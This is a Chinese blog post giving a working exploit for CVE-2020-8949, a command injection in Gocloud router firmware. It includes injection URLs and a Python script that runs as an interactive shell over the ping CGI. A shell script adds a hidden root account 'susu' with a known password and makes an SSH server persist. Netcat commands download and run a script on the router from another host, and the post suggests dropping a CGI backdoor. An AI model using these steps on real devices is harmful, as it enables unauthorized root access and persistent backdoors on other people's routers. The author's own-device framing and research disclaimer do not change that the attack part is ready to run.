Gocloud高恪固件CVE-2020-8949漏洞利用打开SSH(poc支持5.2最新版测试通过)

偶然在上网冲浪的时候看到了这个漏洞,拿以前的一个刷的高恪的K2试了一下还真有,尝试了一下漏洞利用,打开高恪SSH。
本文仅供学术研究使用,除此以外的使用后果自负。

验证漏洞是否存在

  1. 路由器后台登录
  2. 访问(自己替换路由器后台地址):http://192.168.1.1/cgi-bin/webui/admin/tools/app_ping/diag_ping/%20;ps%202%3E&1;%20/5/6/a.com_
  3. 效果(显示出路由器进程就说明漏洞存在):
    在这里插入图片描述

适用版本

不太清楚,我K2(GOCLOUD S1A_8M (K2))的版本是4.2.7.16528
更新:测试高恪5.2最新版仍存在该漏洞,但是貌似过滤了分号,依旧可以通过nc上传脚本来执行。

漏洞利用

脚本(路由器后台地址,用户名,密码自己改):

# -*- coding:utf-8 -*-

import requests
import time
from urllib.parse import quote


# 执行命令EXP
def execute_command(command, TARGET):
    try:
        url = TARGET + "/cgi-bin/webui"
        timestamp = str(time.time()).split(".")[0]
        # 创建session
        request1 = requests.session()
        login = {"csrftoken": "MTU5MzQ5NjI5MEdPQ0xPVUQ=",
                 "password": "admin",
                 "timestamp": "1593496290",
                 "username": "admin"}
        # 发送登录数据
        r = request1.post(url, data=login, verify=False, timeout=10)
        print(r.status_code)
        url2 = TARGET + quote("/cgi-bin/webui/admin/tools/app_ping/diag_ping/ ;" + command + " 2>&1; /5/6/a.com_")
        r2 = request1.post(url2, verify=False, timeout=10)
        print(r2.url)
        print(r2.text)
    except Exception as e:
        print(e)


if __name__ == '__main__':
    command = 'busybox'
    while True:
        execute_command(command, 'http://192.168.1.1')
        command = input("~$: ")

效果:
在这里插入图片描述

存在的问题

这个命令注入用把"/"截断了,输入命令:ls /; ps,可以看到输出中斜杠前的东西没了:
在这里插入图片描述
一般绕过这种都是通过编码,可是这个K2的不支持base64之类的命令,想反弹shell的话,nc也是一个只具有基本功能的nc。

绕过:通过nc上传shell脚本

在路由器的lan中连接一个linux系统,新建一个1.sh的文件:

#!/bin/sh
# ls -l /etc/dropbear
# ls -l /etc/init.d
# ls -l /etc/rc.d
# cat /etc/init.d/dropbear
# cat /etc/init.d/rcS
echo "Generate host key"
rm -rf /etc/dropbear/dropbear_rsa_host_key
rm -rf /etc/dropbear/dropbear_dss_host_key
/usr/bin/dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
/usr/bin/dropbearkey -t dss -f /etc/dropbear/dropbear_dss_host_key
# echo "Exec /etc/init.d/dropbear"
# chmod +x /etc/init.d/dropbear
# /etc/init.d/dropbear enable
# /etc/init.d/dropbear start
echo "Check host key"
ls -l /etc/dropbear
date

echo "Add User susu password admin"
cat>>/etc/passwd<<EOF
susu:\$1\$aLBvC2Ao\$E4V2uG3GNwhlWczjZXb.31:0:0:root:/root:/bin/ash
EOF

echo "Update /etc/rc.local"
cat>/etc/rc.local<<EOF
# Put your custom commands here that should be executed once
# the system init finished. By default this file does nothing.
# /etc/init.d/dropbear start
/usr/sbin/dropbear
exit 0
EOF

echo "Check /etc/rc.local"
cat /etc/rc.local

echo "Start dropbear"
dropbear

上述脚本说明:脚本还加了一个用户名为susu的root用户,密码默认是admin,可以通过命令openssl passwd -1自行修改:
在这里插入图片描述
将生成的替换脚本中对应的内容即可

然后启动nc,监听一个端口,有连接就把这个sh文件发给他:nc -v -l -p 4444 < 1.sh
在刚才脚本获取到的shell中执行(目标ip和端口是刚打开的这个linux机器的):nc 192.168.1.137 4444 >1.sh
效果

  • nc监听端:
    在这里插入图片描述
  • 路由器端可以执行ls -l查看:
    在这里插入图片描述
    此时1.sh没有执行权限,所以执行chmod +x 1.sh,然后运行1.sh:sh 1.sh
    在这里插入图片描述
    此时可以通过运行ps查看脚本是否成功执行:
    在这里插入图片描述
    等一会就可以用用户名admin,你自己的密码,或者用户名susu,密码admin连上高恪路由的SSH了:
    在这里插入图片描述

高恪5.2最新版poc

型号:SX1200
版本:5.2.0.19862
在这里插入图片描述
漏洞存在验证:登录web页面后访问
http://192.168.1.1:8080/cgi-bin/webui/admin/tools/app_ping/diag_ping/eth0%60reboot%60/5/6/a.com
导致路由器重启
写一个shell脚本,1.sh

#!/bin/sh
reboot

本机启动nc监听:nc -vlp 5555 < 1.sh
路由器访问(nc连接的目标ip自行修改)令其下载该sh文件:http://192.168.1.1:8080/cgi-bin/webui/admin/tools/app_ping/diag_ping/eth0%60nc%20192.168.1.1222%205555%20%3E%201.sh%60/5/6/a.com
赋予执行权限:http://192.168.1.1:8080/cgi-bin/webui/admin/tools/app_ping/diag_ping/eth0%60chmod%20%2Bx%201.sh%60/5/6/a.com
执行1.sh:http://192.168.1.1:8080/cgi-bin/webui/admin/tools/app_ping/diag_ping/eth0%60sh%201.sh%60/5/6/a.com
路由器重启,至于1.sh写什么,自行发挥
顺便,既然是cgi,也可以自己编译一个cgi后门扔上去,直接通过web访问也不错,更为稳妥方便。

参考及致谢

解决 exit: Bad buf_getptr
Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

苏打呀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值